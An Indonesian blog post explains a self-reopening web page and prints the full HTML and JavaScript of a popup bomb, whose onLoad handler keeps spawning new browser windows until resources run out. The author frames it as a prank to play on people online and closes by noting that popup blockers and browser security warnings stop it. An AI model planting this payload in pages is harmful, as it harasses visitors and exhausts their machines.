Halaman Web membuka rekursif

Pernah mengalami kejadian saat membuka suatu halaman web, halaman web tersebut terus membuka di windows baru, buka lagi.. terus..dan terus…. hingga menghabiskan resource komputer ???

Coba perhatikan gambar dibawah ini

popup windows

popup windows

Pada eksperimen sederhana saya diatas, terbuka 11 IE dengan awalnya hanya menjalankan 1 file. Cukup sederhana untuk membuat seperti itu , dengan menggunakan javascript, niat ngisengin orang di internet bisa menjadi kenyataan🙂 beberapa sintak yang perlu ditambahkan adalah :

<HTML>
<HEAD>
<SCRIPT LANGUAGE=”JavaScript”>
<!– Begin
function popUp(URL) {
day = new Date();
id = day.getTime();
eval(“page” + id + ” = window.open(URL, ‘” + id + “‘, ‘toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=100,height=75’);”);
}
// End –>
</script>
</HEAD>
<BODY onLoad=”javascript:popUp(‘popupwindow.html’)”> /* bagian ini nih kunci utamanya */
Buka windows baru lagi …:)
</BODY>
</HTML>

Untungnya saat ini, web browser sudah dilengkapi dengan pengamanan sintak javascript, seperti mozilla Firefox yang men-disable popup-windows dan Internet explorer yang menampilkan security warning (seperti gambar dibawah ini ) yang akan muncul untuk setiap kali ada sintak javascript akan ditampilkan, jadi jika ragu atau curiga web yang akan dibuka itu ada konten “yang ada aneh-aneh”, klik tombol No aja … dijamin selamat…..🙂

security-warning IE

security-warning IE

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s